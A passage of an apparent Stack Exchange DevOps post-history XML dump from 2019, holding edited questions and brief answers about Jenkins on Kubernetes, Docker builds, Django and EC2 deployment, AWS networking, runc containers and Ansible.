http&#xD;&#xA;                initialDelaySeconds: 90&#xD;&#xA;                timeoutSeconds: 5&#xD;&#xA;                failureThreshold: 12&#xD;&#xA;              readinessProbe:&#xD;&#xA;                httpGet:&#xD;&#xA;                  path: &quot;/login&quot;&#xD;&#xA;                  port: http&#xD;&#xA;                initialDelaySeconds: 60&#xD;&#xA;                periodSeconds: 10&#xD;&#xA;              # Resources configuration is a little hacky. This was to prevent breaking&#xD;&#xA;              # changes, and should be cleanned up in the future once everybody had&#xD;&#xA;              # enough time to migrate.&#xD;&#xA;              resources:&#xD;&#xA;    &#xD;&#xA;                limits:&#xD;&#xA;                  cpu: 2000m&#xD;&#xA;                  memory: 2048Mi&#xD;&#xA;                requests:&#xD;&#xA;                  cpu: 50m&#xD;&#xA;                  memory: 256Mi&#xD;&#xA;                &#xD;&#xA;    &#xD;&#xA;              volumeMounts:&#xD;&#xA;                -&#xD;&#xA;                  mountPath: /var/jenkins_home&#xD;&#xA;                  name: jenkins-home&#xD;&#xA;                  readOnly: false&#xD;&#xA;                -&#xD;&#xA;                  mountPath: /var/jenkins_config&#xD;&#xA;                  name: jenkins-config&#xD;&#xA;                  readOnly: true&#xD;&#xA;                -&#xD;&#xA;                  mountPath: /usr/share/jenkins/ref/plugins/&#xD;&#xA;                  name: plugin-dir&#xD;&#xA;                  readOnly: false&#xD;&#xA;                -&#xD;&#xA;                  mountPath: /usr/share/jenkins/ref/secrets/&#xD;&#xA;                  name: secrets-dir&#xD;&#xA;                  readOnly: false&#xD;&#xA;          volumes:&#xD;&#xA;          - name: jenkins-config&#xD;&#xA;            configMap:&#xD;&#xA;              name: inclined-eagle-jenkins&#xD;&#xA;          - name: plugin-dir&#xD;&#xA;            emptyDir: {}&#xD;&#xA;          - name: secrets-dir&#xD;&#xA;            emptyDir: {}&#xD;&#xA;          - name: jenkins-home&#xD;&#xA;            persistentVolumeClaim:&#xD;&#xA;              claimName: inclined-eagle-jenkins&#xD;&#xA;&#xD;&#xA;pod's log:&#xD;&#xA;&#xD;&#xA;    container &quot;inclined-eagle-jenkins&quot; in pod &quot;inclined-eagle-jenkins-65c8f989d-lglfc&quot; is waiting to start: PodInitializing&#xD;&#xA;&#xD;&#xA;There is also warning message among events:&#xD;&#xA;&#xD;&#xA;    AssumePod failed: pod 6bf15a11-168a-11e9-b322-0800277359c7 is in the cache, so can't be assumed" ContentLicense="CC BY-SA 4.0" />
  <row Id="27467" PostHistoryTypeId="5" PostId="5923" RevisionGUID="3b3261e2-b89a-4443-87df-64dc9c03b0d9" CreationDate="2019-09-28T21:33:16.463" UserId="40" Comment="Integrate comments from OPer " Text="Is there a way in VSTS Azure for DevOps to implement unit test checking mechanism on pull request.&#xD;&#xA;&#xD;&#xA;The condition is to only allow commits that change something in the unittest folder for example.&#xD;&#xA;&#xD;&#xA;Notes:&#xD;&#xA;&#xD;&#xA;- we are using GoCD as a CI/CD system so it's external building.&#xD;&#xA; &#xD;&#xA;- Git is internal hosted within VSTS." ContentLicense="CC BY-SA 4.0" />
  <row Id="27468" PostHistoryTypeId="5" PostId="5917" RevisionGUID="cc6cdeab-033f-499f-84ff-22eb247eec37" CreationDate="2019-09-28T21:37:25.227" UserId="40" Comment="remove noise, fix typos" Text="I am new to Django six months ago and I learned how to deploy the Django projects to EC2 instances. &#xD;&#xA;&#xD;&#xA;Basically 1st time when the Django project is deployed to EC2, the instance will be configured with httpd.conf, wsgi, change permissions on files and folders and other stuff and the project will be cloned to the EC2 instance and server is restarted.&#xD;&#xA;&#xD;&#xA;My question is: how do they do future deployments? They in this context is anyone who deploys Django on EC2 instances.&#xD;&#xA;&#xD;&#xA;Do they login to EC2 instances and manually clone the repository from VCS site and restart the server?&#xD;&#xA;&#xD;&#xA;Do they have any other automated mechanism to pull the code, ensure permissions and restarting the apache server etc.&#xD;&#xA;&#xD;&#xA;How is it done basically every time they go for a release?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27469" PostHistoryTypeId="4" PostId="5917" RevisionGUID="cc6cdeab-033f-499f-84ff-22eb247eec37" CreationDate="2019-09-28T21:37:25.227" UserId="40" Comment="remove noise, fix typos" Text="How do Django deployments happen on Servers?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27470" PostHistoryTypeId="5" PostId="6122" RevisionGUID="fb9b7d9b-7316-4d66-a282-1c26b8b561ca" CreationDate="2019-09-28T21:45:55.963" UserId="40" Comment="fix typos and formatting" Text="I have a Docker setup for my project with PHP-FPM, Nginx and many other services required by the application, but inside the PHP app I've to check the `init.d/nginx configtest` for new dynamic Vhosts (which are shared by volumes) generated for a tenancy based service. &#xD;&#xA;&#xD;&#xA;The main thing its that I dont want to make a single container with PHP-FPM and Nginx for scalability reasons.&#xD;&#xA;&#xD;&#xA;My idea is to use any Linux package for watch any change on a folder (Vhosts folder in my case) and test and then reload the service.&#xD;&#xA;&#xD;&#xA;Any suggestion?&#xD;&#xA;&#xD;&#xA;Note: I've RabbitMQ in one container which is used by the PHP application but now I need to connect it with the Nginx-based container (I don't know if there's a CLI or linux native client for this)." ContentLicense="CC BY-SA 4.0" />
  <row Id="27471" PostHistoryTypeId="5" PostId="6121" RevisionGUID="1e795480-05aa-4944-b43d-6280827304d8" CreationDate="2019-09-28T21:49:25.360" UserId="40" Comment="fix typos" Text="I am new to Docker. I installed Docker tool box on my Windows machine.&#xD;&#xA;&#xD;&#xA;Using pom.xml I want to generate docker image .&#xD;&#xA;pom.xml:-&#xD;&#xA;&#xD;&#xA;```lang-xml&#xD;&#xA;&#xD;&#xA;&lt;plugin&gt;&#xD;&#xA;	&lt;groupId&gt;com.spotify&lt;/groupId&gt;&#xD;&#xA;	&lt;artifactId&gt;docker-maven-plugin&lt;/artifactId&gt;&#xD;&#xA;	&lt;version&gt;0.4.11&lt;/version&gt;&#xD;&#xA;	&lt;configuration&gt;&#xD;&#xA;		&lt;repository&gt;${docker.image.prefix}/${project.artifactId}&lt;/repository&gt;&#xD;&#xA;		&lt;imageName&gt;${docker.image.prefix}/${project.artifactId}&lt;/imageName&gt;&#xD;&#xA;		&lt;dockerDirectory&gt;${project.basedir}/src/docker&lt;/dockerDirectory&gt;&#xD;&#xA;		&lt;dockerHost&gt;https://192.168.99.102:2376&lt;/dockerHost&gt;&#xD;&#xA;		&lt;dockerCertPath&gt;C:/Users/shridhar/.docker/machine/machines/default&lt;/dockerCertPath&gt;&#xD;&#xA;		&lt;forceTags&gt;true&lt;/forceTags&gt;&#xD;&#xA;		&lt;imageTags&gt;&#xD;&#xA;			&lt;imageTag&gt;${projectVersion}&lt;/imageTag&gt;&#xD;&#xA;			&lt;imageTag&gt;latest&lt;/imageTag&gt;&#xD;&#xA;		&lt;/imageTags&gt;&#xD;&#xA;&#xD;&#xA;		&lt;!-- push the image on docker hub --&gt;&#xD;&#xA;		&lt;serverId&gt;docker-hub&lt;/serverId&gt;&#xD;&#xA;		&lt;registryUrl&gt;https://hub.docker.com&lt;/registryUrl&gt;&#xD;&#xA;		&lt;resources&gt;&#xD;&#xA;			&lt;resource&gt;&#xD;&#xA;				&lt;!-- war file locaion wheere war should be present (copied) --&gt;&#xD;&#xA;				&lt;targetPath&gt;/	&lt;/targetPath&gt;&#xD;&#xA;				&lt;directory&gt;${project.build.directory}&lt;/directory&gt;&#xD;&#xA;				&lt;include&gt;${project.build.finalName}.war&lt;/include&gt;&#xD;&#xA;			&lt;/resource&gt;&#xD;&#xA;		&lt;/resources&gt;&#xD;&#xA;	&lt;/configuration&gt;&#xD;&#xA;&lt;/plugin&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Docker machine details&#xD;&#xA;```lang-bash&#xD;&#xA;$ env | grep 'DOCKER'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;DOCKER_HOST=tcp://192.168.99.102:2376&#xD;&#xA;DOCKER_MACHINE_NAME=default&#xD;&#xA;DOCKER_TLS_VERIFY=1&#xD;&#xA;DOCKER_TOOLBOX_INSTALL_PATH=C:\Program Files\Docker Toolbox&#xD;&#xA;DOCKER_CERT_PATH=C:\Users\shridhar\.docker\machine\machines\default&#xD;&#xA;```&#xD;&#xA;I get the below exception:&#xD;&#xA;&#xD;&#xA;    Caused by: com.spotify.docker.client.exceptions.DockerException: java.util.concurrent.ExecutionException: com.spotify.docker.client.shaded.javax.ws.rs.ProcessingException: org.apache.http.client.ClientProtocolException&#xD;&#xA;&#xD;&#xA;If I make tcp connection&#xD;&#xA;&#xD;&#xA;```lang-xml&#xD;&#xA;&lt;dockerHost&gt;tcp://192.168.99.102:2376&lt;/dockerHost&gt;&#xD;&#xA;```&#xD;&#xA;then I get below exception:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Caused by: java.lang.IllegalArgumentException: An HTTPS URI for DOCKER_HOST must be provided to use Docker client certificates&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;What changes do I have to make to build image sucessfully?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27474" PostHistoryTypeId="50" PostId="8995" RevisionGUID="ff74b521-9127-4364-818e-82401d8ab149" CreationDate="2019-09-29T10:02:00.467" UserId="-1" />
  <row Id="27475" PostHistoryTypeId="50" PostId="5824" RevisionGUID="a3c36416-2afb-4959-9867-a188ab541167" CreationDate="2019-09-29T11:01:25.190" UserId="-1" />
  <row Id="27476" PostHistoryTypeId="6" PostId="8458" RevisionGUID="19364df0-8640-4336-a37d-de4bb235c3fc" CreationDate="2019-09-29T12:37:33.847" UserId="40" Comment="edited tags" Text="&lt;containers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27478" PostHistoryTypeId="6" PostId="1298" RevisionGUID="99ce2e6b-1175-47b2-b43b-0648a8f2bff9" CreationDate="2019-09-29T12:40:50.680" UserId="40" Comment="edited tags" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;infrastructure&gt;&lt;software-engineering&gt;&lt;cors&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27479" PostHistoryTypeId="6" PostId="6719" RevisionGUID="9ee3cc44-537c-4b0b-9fd6-589e281eb1cf" CreationDate="2019-09-29T12:43:37.123" UserId="40" Comment="edited tags" Text="&lt;culture&gt;&lt;academia&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27480" PostHistoryTypeId="6" PostId="8830" RevisionGUID="b9feb892-efb3-4681-9d79-5d467b808d7a" CreationDate="2019-09-29T12:44:32.367" UserId="40" Comment="edited tags" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;terraform&gt;&lt;aws-cli&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27481" PostHistoryTypeId="6" PostId="8244" RevisionGUID="3e56050d-a224-4362-b71c-e5b97fc58b09" CreationDate="2019-09-29T12:45:35.390" UserId="40" Comment="edited tags" Text="&lt;kubernetes&gt;&lt;openshift&gt;&lt;storage&gt;&lt;persistent-volumes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27482" PostHistoryTypeId="6" PostId="9101" RevisionGUID="26dda345-59af-4d64-a718-fe1928a720a5" CreationDate="2019-09-29T12:46:36.903" UserId="40" Comment="edited tags" Text="&lt;build-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27483" PostHistoryTypeId="6" PostId="8108" RevisionGUID="5e55b9c7-8fb4-4c01-8463-c7500de3cac8" CreationDate="2019-09-29T12:47:34.633" UserId="40" Comment="edited tags; edited tags" Text="&lt;yaml&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27484" PostHistoryTypeId="6" PostId="8738" RevisionGUID="80ea2187-d09c-4994-bf89-8333a1b9ca62" CreationDate="2019-09-29T13:00:12.443" UserId="40" Comment="edited tags; deleted 3 characters in body" Text="&lt;amazon-web-services&gt;&lt;amazon-s3&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27485" PostHistoryTypeId="5" PostId="8458" RevisionGUID="26e83905-b136-4384-9cc4-9bcf5d79cbb2" CreationDate="2019-09-29T13:01:58.400" UserId="40" Comment="deleted 2 characters in body; edited title" Text="So I have been trying [this-tutorial][1] to access the runC container from the diego-cell VM. However, when I try to run &#xD;&#xA;&#xD;&#xA;    /var/vcap/packages/runc/bin/runc exec -t &lt;instance_id&gt; /bin/bash&#xD;&#xA;&#xD;&#xA;I get the error&#xD;&#xA;&#xD;&#xA;    exec failed: container &quot;&lt;id&gt;&quot; does not exist&#xD;&#xA;&#xD;&#xA;when I run cfdot for the given application it does list this instance-id,&#xD;&#xA;also when navigating into the location&#xD;&#xA;&#xD;&#xA;`/var/vcap/data/garden/depot/&lt;container_id&gt;` it exists.&#xD;&#xA;&#xD;&#xA;But runc in unable to open the container, also when I run&#xD;&#xA;&#xD;&#xA;    runc list&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;the list of running containers in the vm is empty&#xD;&#xA;&#xD;&#xA;    diego-cell/49dbeca6-36eb-4910-94b9-48960891a0b1:~# /var/vcap/packages/runc/bin/runc list&#xD;&#xA;    ID          PID         STATUS      BUNDLE      CREATED     OWNER&#xD;&#xA;    diego-cell/49dbeca6-36eb-4910-94b9-48960891a0b1:~#&#xD;&#xA;&#xD;&#xA;I've run all as root as mentioned in the link.&#xD;&#xA;&#xD;&#xA;Why am I not able to access the runC containers, What am I missing?&#xD;&#xA;&#xD;&#xA;P.S: Although the intent is same, I'm not looking for cf ssh&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://community.pivotal.io/s/article/How-to-get-into-an-App-Container-Manually-with-Garden-RunC-Backend&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27486" PostHistoryTypeId="4" PostId="8458" RevisionGUID="26e83905-b136-4384-9cc4-9bcf5d79cbb2" CreationDate="2019-09-29T13:01:58.400" UserId="40" Comment="deleted 2 characters in body; edited title" Text="How to get into an App Container Manually with Garden-RunC Backend?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27487" PostHistoryTypeId="5" PostId="8738" RevisionGUID="80ea2187-d09c-4994-bf89-8333a1b9ca62" CreationDate="2019-09-29T13:00:12.443" UserId="40" Comment="edited tags; deleted 3 characters in body" Text="I followed these instructions to redirect:&#xD;&#xA;&#xD;&#xA;    platform.demo.interos.net&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;    platform.demo.interos.io&#xD;&#xA;&#xD;&#xA;The instructions use s3 for static site hosting and use the redirect option:  https://aws.amazon.com/premiumsupport/knowledge-center/redirect-domain-route-53/&#xD;&#xA;&#xD;&#xA;But when I use the browser, the browser won't actually redirect me from the .net to the .io page, it just hangs. But when I run this:&#xD;&#xA;&#xD;&#xA;    curl -I platform.demo.interos.net&#xD;&#xA;&#xD;&#xA;I get:&#xD;&#xA;&#xD;&#xA;    HTTP/1.1 301 Moved Permanently&#xD;&#xA;    x-amz-id-2: E4VM/vr+1HtO6Q0vvCNL16nxxxxxxFDvvgPW+EjI4g9Zk=&#xD;&#xA;    x-amz-request-id: 175E9039358ECD1B&#xD;&#xA;    Date: Sun, 28 Jul 2019 19:30:09 GMT&#xD;&#xA;    Location: https://platform.demo.interos.io/&#xD;&#xA;    Content-Length: 0&#xD;&#xA;    Server: AmazonS3&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So what's not working here - why doesn't the browser recognize the 301 and do the redirection?&#xD;&#xA;&#xD;&#xA;**UPDATE**:&#xD;&#xA;&#xD;&#xA;I now realize it's because in the browser address bar it often adds an https:// in front, and with the protocol in front, it will not redirect. Anyone know why? &#xD;&#xA;&#xD;&#xA;For example: &#xD;&#xA;&#xD;&#xA;    curl -I https://platform.demo.interos.net&#xD;&#xA;&#xD;&#xA;will not resolve. but this will resolve:&#xD;&#xA;&#xD;&#xA;    curl -I platform.demo.interos.net&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27490" PostHistoryTypeId="5" PostId="1298" RevisionGUID="91587baa-4f70-4d6c-bd16-9a5e2d22852f" CreationDate="2019-09-29T15:14:59.673" UserId="40" Comment="remove noise" Text="## Some background: &#xD;&#xA; &#xD;&#xA;I've created a moderately complex network using Amazon's vpc. It's a three-tiered network across two availability zones. Each layer has a subnet in zone-a and zone-b. The presentation layer is at the top, there’s an application layer in the middle, and a core layer at the bottom.&#xD;&#xA; &#xD;&#xA;All of the security groups and ACL's for the subnets are currently allowing ALL inbound and outbound traffic to help me reduce surface area of the issue. &#xD;&#xA; &#xD;&#xA;The presentation layer’s routing table is pointing all traffic to an internet gateway. The NAT gateway is in a segregated subnet also pointing all traffic to the internet gateway.&#xD;&#xA; &#xD;&#xA;My application has two components, a UI (React.js) and an API (Node/Express). They are deployed as docker images. In front of each is a classic load balancer. &#xD;&#xA; &#xD;&#xA;The UI-ELB is internet facing and resides in the presentation layer, routing traffic from 80/443 to port 8080 and is associated with my app-ec2 that is placed in the application-layer subnet. &#xD;&#xA; &#xD;&#xA;My API has an internal load balancer in front of it. The API-ELB is in the application layer (in the same subnet as the app-ec2), and takes traffic on port 80/443 and routes it down to the api-ec2 in the core on port 3000.&#xD;&#xA; &#xD;&#xA;Both load balancers are offloading the certificate before passing traffic to their instances.&#xD;&#xA; &#xD;&#xA;I have both my load balancers associated as alias's in Route53, and referenced in the applications by their pretty url (https://app.website.com). Each load balancer passes the defined healthchecks and reports all ec2 instances in use.&#xD;&#xA; &#xD;&#xA;Lastly, on the API I have enabled cors using the cors nodejs package.&#xD;&#xA;&#xD;&#xA;Here's a [quick and dirty diagram][1] of my network.&#xD;&#xA; &#xD;&#xA;## The problem:&#xD;&#xA; &#xD;&#xA;The APP-ELB successfully routes me to the application. However, when the app tries to send a GET request to the API-ELB, it first sends an OPTIONS request that tims out with the error code 408.&#xD;&#xA; &#xD;&#xA;**Where it gets weird**&#xD;&#xA; &#xD;&#xA;Some of the weirdest things I've encountered while debugging are:&#xD;&#xA; &#xD;&#xA; 1. I can SSH into the app-ec2 instance and can run a successful curl against the API-ELB. I’ve tried many, and they all work. A few examples are: `curl -L https://api.website.com/system/healthcheck` and `curl -L -X OPTIONS https://api.website.com/system/healthcheck`. It always returns the desired information.&#xD;&#xA; 2. I've moved the entire application out of my network into a public default vpc and it works as it's supposed to.&#xD;&#xA; 3. I have the api-ec2 writing all network requests to the console. While it shows the healthcheck requests, it does not show any requests from the app-ec2. This leads me to believe traffic is not even reaching the api.&#xD;&#xA; &#xD;&#xA;Really the biggest thing that has me at a complete loss is that curling the internal api elb works, but the axios request to the same exact url does not. This doesn't make sense to me at all.&#xD;&#xA; &#xD;&#xA;## What I've tried&#xD;&#xA; &#xD;&#xA;I originally spent a lot of time playing with ACL rules and security groups thinking I did something wrong. Eventually I just said, &quot;screw it&quot;, and opened everything up to try and take that piece out of the equation.&#xD;&#xA; &#xD;&#xA;I've spent way to much time playing with Cors on my api. Eventually landing on the configuration I have now, that is the default `app.use(cors())` callback provided by the cors node package. I've also included the `app.options('*', cors())` that is recommended in the documentation.&#xD;&#xA; &#xD;&#xA;I've google everything under the sun, but specifically whether I need to define some special custom headers with the elbs? But can't seem to find anything. Plus, when I moved my app out of the network it worked just fine.&#xD;&#xA; &#xD;&#xA;I'm sure I've tried many other things, but these seem to be the most pertinent. What am I missing? I realize this is potentially a very vague and broad issue, and an enormous post, but I appreciate any insight and your time in reading in it!&#xD;&#xA;&#xD;&#xA;  [1]: https://drive.google.com/a/emeentsmedia.com/file/d/0B8gkXonu3RXqaGJHU1Y0U1ZRUHc/view?usp=drivesdk" ContentLicense="CC BY-SA 4.0" />
  <row Id="27491" PostHistoryTypeId="5" PostId="8830" RevisionGUID="bf28509e-69d7-4e36-b4d6-9a36105d593b" CreationDate="2019-09-29T15:17:38.303" UserId="40" Comment="remove noise, fix typos" Text="Typically I spin up all aws ec2 instances together with all its accompanying security groups, volumes, etc ... by executing a series of aws cli commands.&#xD;&#xA;&#xD;&#xA;However when I manually use the aws console in a browser to spin up instances, I am wondering if there is a tool I can run to exhaustively probe this set of running ec2 instances and output runable aws commands to recreate the currently running instances?&#xD;&#xA;&#xD;&#xA;Does such a tool exist ?&#xD;&#xA;&#xD;&#xA;I have never looked at Terraform, so I wonder if that has such a utility?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27492" PostHistoryTypeId="4" PostId="8830" RevisionGUID="bf28509e-69d7-4e36-b4d6-9a36105d593b" CreationDate="2019-09-29T15:17:38.303" UserId="40" Comment="remove noise, fix typos" Text="How to probe all running aws ec2 instances and their sec groups, etc to generate templates?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27493" PostHistoryTypeId="5" PostId="6430" RevisionGUID="a875bc01-4589-4199-95a3-65421a6b62c6" CreationDate="2019-09-29T15:23:01.517" UserId="40" Comment="improve title, fix typos" Text="I installed Jenkins on a Ubuntu 18.04 ec2 instance by following its official guide.&#xD;&#xA;&#xD;&#xA;I want to change Jenkins from port 8080 (default) to port 80.&#xD;&#xA;&#xD;&#xA;According to its official document:&#xD;&#xA;&#xD;&#xA;&gt; If your /etc/init.d/jenkins file fails to start Jenkins, edit the /etc/default/jenkins to replace the line ----HTTP_PORT=8080---- with ----HTTP_PORT=8081---- Here, &quot;8081&quot; was chosen but you can put another port available.&#xD;&#xA;&#xD;&#xA;I managed to changed it to port 8081 but when I used port 80, it simply doesn't work:&#xD;&#xA;&#xD;&#xA;`curl -i localhost:80` returns `connection refused`&#xD;&#xA;&#xD;&#xA;`sudo systemctl status jenkins` gives &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;jenkins.service - LSB: Start Jenkins at boot time&#xD;&#xA;   Loaded: loaded (/etc/init.d/jenkins; generated)&#xD;&#xA;   Active: active (exited) since Thu 2019-02-21 08:14:55 UTC; 4min 12s ago&#xD;&#xA;     Docs: man:systemd-sysv-generator(8)&#xD;&#xA;  Process: 6143 ExecStop=/etc/init.d/jenkins stop (code=exited, status=0/SUCCESS)&#xD;&#xA;  Process: 6212 ExecStart=/etc/init.d/jenkins start (code=exited, status=0/SUCCESS)&#xD;&#xA;&#xD;&#xA;Feb 21 08:14:53 ip-172-31-11-10 systemd[1]: Starting LSB: Start Jenkins at boot time...&#xD;&#xA;Feb 21 08:14:53 ip-172-31-11-10 jenkins[6212]: Correct java version found&#xD;&#xA;Feb 21 08:14:53 ip-172-31-11-10 jenkins[6212]:  * Starting Jenkins Automation Server jenkins&#xD;&#xA;Feb 21 08:14:53 ip-172-31-11-10 su[6257]: Successful su for jenkins by root&#xD;&#xA;Feb 21 08:14:53 ip-172-31-11-10 su[6257]: + ??? root:jenkins&#xD;&#xA;Feb 21 08:14:53 ip-172-31-11-10 su[6257]: pam_unix(su:session): session opened for user jenkins by (uid=0)&#xD;&#xA;Feb 21 08:14:54 ip-172-31-11-10 su[6257]: pam_unix(su:session): session closed for user jenkins&#xD;&#xA;Feb 21 08:14:55 ip-172-31-11-10 jenkins[6212]:    ...done.&#xD;&#xA;Feb 21 08:14:55 ip-172-31-11-10 systemd[1]: Started LSB: Start Jenkins at boot time.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I am sure nothing runs on port 80.&#xD;&#xA;&#xD;&#xA;What am I doing wrong?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27494" PostHistoryTypeId="4" PostId="6430" RevisionGUID="a875bc01-4589-4199-95a3-65421a6b62c6" CreationDate="2019-09-29T15:23:01.517" UserId="40" Comment="improve title, fix typos" Text="How to change Jenkins' port to 80?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27495" PostHistoryTypeId="5" PostId="8989" RevisionGUID="808b2949-908a-493c-8c1e-4c0c0c1fa606" CreationDate="2019-09-29T15:25:25.013" UserId="40" Comment="improve title, remove noise" Text="I have a running DataDog-Agent on a Docker server.&#xD;&#xA;&#xD;&#xA;Is there a function in the DataDog API to get the stats of every single container, so I could print the stats to an external Webpage?&#xD;&#xA;&#xD;&#xA;Or is there an alternative?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27496" PostHistoryTypeId="4" PostId="8989" RevisionGUID="808b2949-908a-493c-8c1e-4c0c0c1fa606" CreationDate="2019-09-29T15:25:25.013" UserId="40" Comment="improve title, remove noise" Text="How to get Docker Container stats using DataDog API?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27497" PostHistoryTypeId="5" PostId="3500" RevisionGUID="4478ff82-c8ce-406c-9fb4-604d43422e9d" CreationDate="2019-09-29T15:28:28.983" UserId="40" Comment="improve title, remove noise" Text="I have set up some crons in Ansible, and I want to log when they start, finish, and if they fail.&#xD;&#xA;&#xD;&#xA;How I could do it?&#xD;&#xA;&#xD;&#xA;I don’t know so much about Ansible." ContentLicense="CC BY-SA 4.0" />
  <row Id="27498" PostHistoryTypeId="4" PostId="3500" RevisionGUID="4478ff82-c8ce-406c-9fb4-604d43422e9d" CreationDate="2019-09-29T15:28:28.983" UserId="40" Comment="improve title, remove noise" Text="How to perform logging of Ansible crons in Kibana?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27502" PostHistoryTypeId="5" PostId="8995" RevisionGUID="12d95500-8098-4898-86d3-11791661c383" CreationDate="2019-09-29T20:19:27.123" UserId="40" Comment="added 1 character in body; edited title" Text="Systemctl/service commands are not working on a container which is built by using centos:centos7 image.&#xD;&#xA;&#xD;&#xA;Can anybody help me here?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27503" PostHistoryTypeId="4" PostId="8995" RevisionGUID="12d95500-8098-4898-86d3-11791661c383" CreationDate="2019-09-29T20:19:27.123" UserId="40" Comment="added 1 character in body; edited title" Text="How to manage services inside the container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27504" PostHistoryTypeId="5" PostId="9241" RevisionGUID="d3bfdb73-2b10-4f0b-9735-29c3c2eb905e" CreationDate="2019-09-29T20:24:15.383" UserId="40" Comment="remove noise" Text="I am only getting started with ansible.&#xD;&#xA;&#xD;&#xA;I want to set up a new development infrastructure with the infrastructure as code principle. First thing I'll have to prove is a Jenkins instance with a few nodes for a Java dev team.&#xD;&#xA;&#xD;&#xA;I want to do it correct right from the start, so I want to include some redundancy. Let's assume that in this scenario there are 3 sites with bare metal servers. I want to set up a Jenkins master in all 3 zones which form a cluster.&#xD;&#xA;&#xD;&#xA;But I don't want to think about that myself. I just want to provide the info to ansbile what server is in which availability zone, and ansible should make sure to set up a Jenkins master in each availability zone and connecting it to the cluster. &#xD;&#xA;&#xD;&#xA;Maybe this is already out-of-scope for ansible and I need another tool on top of ansible?&#xD;&#xA;&#xD;&#xA;Any thoughts?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27505" PostHistoryTypeId="4" PostId="9290" RevisionGUID="c6254f1d-ec9b-4675-bd5b-5cf1659d3c70" CreationDate="2019-09-29T20:26:36.453" UserId="40" Comment="Improve title" Text="Why does Jenkins safeRestart not wait for job to finish?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27507" PostHistoryTypeId="50" PostId="5864" RevisionGUID="15858afc-4fe2-4187-a44d-c955603d1248" CreationDate="2019-09-30T00:01:35.143" UserId="-1" />
  <row Id="27509" PostHistoryTypeId="50" PostId="6760" RevisionGUID="b34e4e3b-5333-4755-817b-c9e424829683" CreationDate="2019-09-30T06:02:00.590" UserId="-1" />
  <row Id="27510" PostHistoryTypeId="2" PostId="9306" RevisionGUID="2e7f7801-10c7-49f1-9ea7-104128e90516" CreationDate="2019-09-30T09:02:27.713" UserId="17340" Text="I want to know what docker-compose is going to do before I do it. &#xD;&#xA;&#xD;&#xA;Is there a tool or flag which I can use to see what docker-compose would do without actually stopping containers and starting new ones?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27511" PostHistoryTypeId="1" PostId="9306" RevisionGUID="2e7f7801-10c7-49f1-9ea7-104128e90516" CreationDate="2019-09-30T09:02:27.713" UserId="17340" Text="How do I do a dry run with docker-compose?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27512" PostHistoryTypeId="3" PostId="9306" RevisionGUID="2e7f7801-10c7-49f1-9ea7-104128e90516" CreationDate="2019-09-30T09:02:27.713" UserId="17340" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27513" PostHistoryTypeId="2" PostId="9307" RevisionGUID="27a29857-b950-4e4b-ad60-374bf8c98da9" CreationDate="2019-09-30T12:02:45.840" UserId="707" Text="Welcome to DevOps SE!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;A dry run for docker-compose seems to be an [open feature request][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/docker/compose/issues/1203" ContentLicense="CC BY-SA 4.0" />
  <row Id="27514" PostHistoryTypeId="5" PostId="9307" RevisionGUID="61077148-3dc6-46e8-8824-b521873fc99d" CreationDate="2019-09-30T12:23:23.850" UserId="707" Comment="added 2 characters in body" Text="Welcome to DevOps SE!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;A dry run for `docker-compose` seems to be an [open feature request][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/docker/compose/issues/1203" ContentLicense="CC BY-SA 4.0" />
  <row Id="27515" PostHistoryTypeId="2" PostId="9308" RevisionGUID="8cf14f73-4faf-4983-aed2-0f14670029e4" CreationDate="2019-09-30T12:24:46.027" UserId="12089" Text="&gt; I want to avoid situtations where someone with access to the machine can just copy out some user data, or even look at it.&#xD;&#xA;&#xD;&#xA;You cannot stop someone with local access to the machine from reading data on the machine.  Full stop.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
